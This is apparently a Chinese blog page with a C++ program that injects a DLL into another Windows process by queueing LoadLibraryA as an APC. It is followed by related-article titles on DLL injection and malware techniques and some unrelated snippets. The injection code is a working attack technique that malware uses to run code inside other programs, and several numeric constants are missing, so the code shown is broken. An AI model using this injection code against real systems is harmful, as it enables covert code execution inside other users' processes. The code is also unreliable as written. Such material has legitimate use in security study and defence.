#include <iostream>
#include <Windows.h>
#include <TlHelp32.h> using namespace std; /*
APC注入条件:
目标线程处于可唤醒状态
如使用以下API时就处于可唤醒状态
SleepEx, SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx,MsgWaitForMultipleObjectsEx
参数dwPid默认为0,表示自动创建目标进程并立刻生效注入,否则,注入现有目标,等待目标唤醒时执行APC回调
*/
BOOL APCInject(char *dllUrl,DWORD dwPid=,char *exeUrl=NULL); int main(void)
{ cout << APCInject("c:\\desktop\\test.dll",) << endl;
return ;
} BOOL APCInject(char *dllUrl,DWORD dwPid,char *exeUrl)
{
HANDLE hSnap=NULL,hPro=NULL,hThr=NULL;
BOOL bOk = FALSE;
LPVOID hVir = NULL;
THREADENTRY32 te = {}; if (!dwPid)
{
STARTUPINFO wi = {};
PROCESS_INFORMATION pi = {}; wi.cb = sizeof(wi);
CreateProcessA("c:\\desktop\\123.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&wi,&pi);
hPro = pi.hProcess;
hThr = pi.hThread;
} else {
te.dwSize = sizeof(te);
hPro = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
if (!hPro)
return FALSE;
hSnap = CreateToolhelp32Snapshot(,dwPid);
bOk = Thread32First(hSnap,&te);
while (bOk)
{
if (te.th32OwnerProcessID == dwPid)
{
hThr = OpenThread(THREAD_ALL_ACCESS,FALSE,te.th32ThreadID);
break;
} bOk = Thread32Next(hSnap,&te);
}
CloseHandle(hSnap);
} if (!hThr)
return FALSE;
hVir = VirtualAllocEx(hPro,NULL,strlen(dllUrl)+,MEM_COMMIT,PAGE_READWRITE);
if (!hVir)
return FALSE;
if (!WriteProcessMemory(hPro,hVir,dllUrl,strlen(dllUrl)+,NULL))
return FALSE;
CloseHandle(hPro);
if (QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"),hThr,(DWORD)hVir))
{
if (!dwPid)
{
ResumeThread(hThr);
CloseHandle(hThr);
}
return TRUE;
}
CloseHandle(hThr);
return FALSE;
}

APCInject的更多相关文章

  1. 安全之路 —— 利用APC队列实现跨进程注入

    简介 在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御.所以 ...

  2. Windows Dll Injection、Process Injection、API Hook、DLL后门/恶意程序入侵技术

    catalogue 1. 引言2. 使用注册表注入DLL3. 使用Windows挂钩来注入DLL4. 使用远程线程来注入DLL5. 使用木马DLL来注入DLL6. 把DLL作为调试器来注入7. 使用c ...

  3. 注入 - Ring3 APC注入

    系统产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的, 1.根据进 ...

  4. Inject-APC (Ring3)

    1 // APCInject.cpp : 定义控制台应用程序的入口点. 2 // 3 4 #include "stdafx.h" 5 #include "APCInjec ...

随机推荐

  1. Luogu P2973 [USACO10HOL]赶小猪Driving Out the Piggi 后效性DP

    有后效性的DP:$f[u]$表示到$u$的期望次数,$f[u]=\Sigma_{(u,v)} (1-\frac{p}{q})*f[v]*deg[v]$,最后答案就是$f[u]*p/q$ 刚开始$f[1 ...

  2. tomcat内存配置

    -Xms521M-Xmx1024M-XX:PermSize=64M -Xms256m -Xmx1024m -XX:MaxPermSize=256m

  3. bootstrap栅格系统的实现

    bootstrap提供了一个非常实用的栅格系统,可以实现响应式的网格布局,原理其实很简单,利用了float.百分比的宽度和@media的配合实现响应式,bootstrap默认把一行分为了12列,提供了 ...

  4. UVALive - 6440

    题目链接:https://vjudge.net/contest/241341#problem/G Indonesia, as well as some neighboring Southeast As ...

  5. pat1059. Prime Factors (25)

    1059. Prime Factors (25) 时间限制 50 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 Standard 作者 HE, Qinming Given ...

  6. java与模式读后总结

    一 老规则边看边写书上的代码,磨磨蹭蹭三个多星期终于把一本1000+的java与模式看完了. 于是,在这里贴上自己对每个模式的思考和总结,其实这个东西在我边看边写的时候已经写了一大半,博文再写一次算是 ...

  7. OracleJDK与OpenJDK的区别和联系

    OpenJDK原是SunMicrosystems公司为Java平台构建的Java开发环境(JDK)的开源版本,完全自由,开放源码.OracleJDK里面包含的JVM是HotSpotVM,HotSpot ...

  8. 《C#高效编程》读书笔记08-推荐使用查询语法而不是循环

    C#语言中并不缺少控制程序流程的结构,for.while.do/while和foreach等都可以做到这一点.但我们还有更好的方式:查询语法(query syntax) 下面这段代码演示了用命令式的方 ...

  9. Oracle单行函数。。。

    单行函数 --字符函数--1.ASCII 返回与指定的字符对应的十进制数;select ascii('A') A,ascii('a') a,ascii('0') zero,ascii(' ') spa ...

  10. git 如何生成 SSH 公钥

    1.打开你的git bash 窗口 2.进入.ssh目录:cd ~/.ssh 3.找到id_rsa.pub文件:ls 4.查看公钥:cat id_rsa.pub    或者vim id_rsa.pub ...